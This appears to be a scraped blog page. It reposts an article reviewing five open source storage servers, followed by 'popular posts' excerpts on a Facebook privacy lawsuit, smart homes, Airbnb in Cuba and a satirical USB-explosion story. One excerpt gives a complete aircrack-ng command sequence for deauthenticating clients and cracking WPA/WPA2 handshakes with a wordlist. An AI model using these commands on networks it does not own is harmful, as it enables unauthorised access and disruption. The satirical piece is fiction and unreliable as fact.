Skip to main content

Five budget-friendly open source storage servers

Image
By

Storage is essential for the enterprise: Data must be stored. Data must be retrieved. Data must be shared. Data must be secured. At the same time, storage must not consume the entirety of your IT budget. Fortunately, you can find effective solutions in the world of open source.
Outside of cost effectiveness, one of the biggest benefits of these solutions is the ability to modify them to perfectly fit your needs. You can make minor changes or even roll your own storage solution based on one of these tools.
If you want enterprise support and a "solution in a can" that will meet just about any enterprise storage need, you should turn to Red Hat or SUSE. Both Linux-based companies offer some of the most powerful enterprise-ready tools on the market. But if you'd rather get your hands dirty and craft something of your own—something that won't demolish your budget—these five open source tools are a great place to start.

1: ownCloud

ownCloud (Figure A) is on the rise, faster than any cloud-based storage system. It's easy to use, it can be installed locally, and it offers desktop and mobile sync clients. The ownCloud solution is ideal for companies of all sizes that need a cloud storage solution for files, photos, contacts, and even a cloud-based calendar.

Figure A

Figure A
ownCloud is a powerful tool, and the sync client allows you to keep multiple folders in sync with your desktop. One feature that should appeal to enterprise clients is the ability to recover accidentally deleted files. ownCloud offers a Community edition and an Enterprise edition. In addition to the long list of features found in the Community edition, the Enterprise edition offers LDAP/Active Directory support, Single Sign In, Encryption 2.0 support, and much more.

2: Pydio

Pydio (formerly AjaXplorer) allows you to master a universe of files with an amazingly simple interface (Figure B). With the Pydio Sync tool, you can determine how sync occurs between server and clients, enabling real-time, manual, or time-based synchronization. You can also determine whether users can sync an entire workspace or only subfolders within a workspace.

Figure B

Figure B
File syncing can be paused to avoid data loss (should work need to be done on the server), and Pydio lets users share files internally and externally. In addition, it offers the ability to create public "mini-sites" for publishing lists of documents on the internet. It provides an outstanding plug-in system to extend your solution, as well.

3: Openfiler

Openfiler (Figure C) is a powerful network storage solution that offers file-based network attached storage (NAS) and block-based storage area networking (SAN) functionality in a single, cohesive framework. Because of its flexibility, Openfiler allows you to deploy either a SAN or NAS solution, both with a simple web-based interface.

Figure C

Figure C
Believe it or not, this solution can be up and running in no time. The block-based storage has point-in-time snapshot support with scheduling as well as online volume size expanding. Openfiler features Windows domain controller support as well as built-in Samba support.

4: FreeNAS

FreeNAS (Figure D) is a rock solid open source NAS solution that delivers all the features your enterprise needs in a NAS solution. With this storage-built operating system, you'll enjoy replication, data protection, encryption, snapshots, file sharing, and a powerful plug-in system... all in an easy-to-use web interface.

Figure D

Figure D
FreeNas also includes a powerful reporting tool that keeps track of CPUs, disks, memory, network, partition, and system usage.

5: ProjectSend

ProjectSend (Figure E) is a bit different. Although it can (and does) serve as a storage solution for documents and files, its primary focus is enabling your company to share those documents/files with clients. Not only can you easily send documents and files to clients (without having to rely on a third-party solution), your clients can also upload files to you with ease. You can add individual clients and even create/manage client groups for more control.

Figure E

Figure E
Uploaded files are given a title and description and can be easily searched using the built-in search function. ProjectSend also includes a powerful email template system, so you can create company-specific email for notifications like new file by user, new file by client, new client, new user, and password reset.

What's worked for you?

There are many open source storage solutions available to fit enterprise needs. Whether you want to shell out the budget for big-time support and service, like you'll find with SUSE, or you want to do it all in-house, open source has you covered.
Have you used any of the solutions discussed here? Share your thoughts and experiences with fellow TechRepublic members.

Comments

Post a Comment

Popular posts from this blog

Facebook ‘Class Action’ Privacy Lawsuit Moves To Austrian Supreme Court

By
A privacy lawsuit filed against Facebook last year by Viennese lawyer and data privacy activist Max Schrems has moved up to Austria’s Supreme Court which will rule on whether the suit can be treated as a class action. When Schrems kicked off the suit, back in July 2014, he invited adult non-commercial Facebook users located anywhere outside the U.S. and Canada to join the suit for free — and tens of thousands of people quickly took up the invitation. The legal action focuses on multiple areas where the plaintiffs argue Facebook has been violating EU data protection laws, such as the absence of effective consent to many types of data use; the tracking of Internet users through external websites; and the monitoring and analysis of users via big data systems. Facebook’s participation in the NSA’s PRISM surveillance program is also part of the complaint. In July the case suffered a setback when an Austrian regional co...
Post a Comment
Read more

Crack WPA & WPA2 with Aircrack-ng on Kali Linux

By
In this tutorial we are going to teach you How to crack WPA & WPA 2 with aircrack-ng on Kali Linux. We high recommend this for research or educational purpose only. Things we used for cracking WPA & WPA2: Alfa AWUSO36H Wireless Card Windows 7-64bit (works on 32bit) VMware Workstation Kali Linux 2.0 Command to crack WPA & WPA2: airmon-ng  sudo ifconfig wlan0 down sudo iwconfig wlan0 mode monitor sudo ifconfig wlan0 up airodump-ng wlan0  airodump-ng -c [channel id] --write [any name] --bssid [bssid of the wifi] wlan0 aireplay-ng --deauth 5 -a [bssid] -c [station id] wlan0 aircrack-ng -w [wordlist file] -b [bssid] [any name]-01.cap sudo ifconfig wlan0 down sudo iwcofnig wlan0 mode monitor sudo ifconfig wlan0 up  Here is a YouTube video on How to crack WPA and WPA2 with Aircrack-ng on Kali Linux: In the about tutorial we EVER hack our own systems as a proof of concept and never engage in any black hat activity.
Post a Comment
Read more

Building a smarter home

By
The Jetsons  presented a highly entertaining vision of what  homes  of the future would  look like . The animated television show anticipated a world where humans would be able to do everything with just the push of a button. In many ways, the show turned out to be prophetic; today we have printable food, video chats, smartwatches and robots that help with housework — and flying cars may even be on the way. The challenge for companies is to integrate digital technologies in meaningful ways that enhance people’s  homes  and improve their lives. Many of the innovations to emerge over the past few years have been geared toward this kind of “push-button living.” Thanks to the rise of smartphones and the proliferation of cheap sensors, it is possible to make just about any household appliance “smart” and “connected.” By 2019,  companies are expected to ship 1.9 billion connected home devices, bringing in about $490 billion in revenue. ...
Post a Comment
Read more

Careless USB removal causes multiple deaths

By
EIGHTEEN workers have died after a USB stick was removed from a computer without adequate precautions. The offices of Hereford-based Envision Photography were completely destroyed in the ensuing blast. Survivor Norman Steele said: “My colleague Helen had put some files on the stick to work on at home, and she yanked it out of the computer before anyone could scream ‘no’. “I kicked her aside as a jet of white-hot flame belched out of the USB port and set fire to the desk opposite. “Grabbing her, I dived through the window just before all the PCs in the network exploded with purple electricity that fried everyone in the building. “I sprinted to my car, knowing that the printers were already becoming merciless hunter-killer drones, shouting for Helen to follow. “But when I looked round I saw her frozen, something glowing in her hand, the awareness dawning of her fate. She was still holding the USB. “She detonated in a flash of ultraviolet light that turned eve...
Post a Comment
Read more

Airbnb will open its Cuba listings to users outside the United States

By
Airbnb  will now let travelers from outside the U.S. to book properties in Cuba after receiving authorization from the U.S. government,  reports the Associated Press . Previously, only Americans were allowed to reserve the site’s  Cuban listings . They will open to international users on April 2. Airbnb launched its  Cuban operations in April 2014 , four months after the Obama administration revealed that it will begin to  restore diplomatic relations with the Communist country . The historic policy change means that  travel and trade sanctions will be lifted , which is expected to boost tourism to Cuba dramatically because Americans no longer need licenses to visit. In fact, President Obama is  currently on an official visit to Cuba , the first president since Calvin Coolidge to do so. According to the AP, Cuba is currently Airbnb’s fastest-growing market, with about 4,000 homes added since it opened listings. Other travel businesses...
Post a Comment
Read more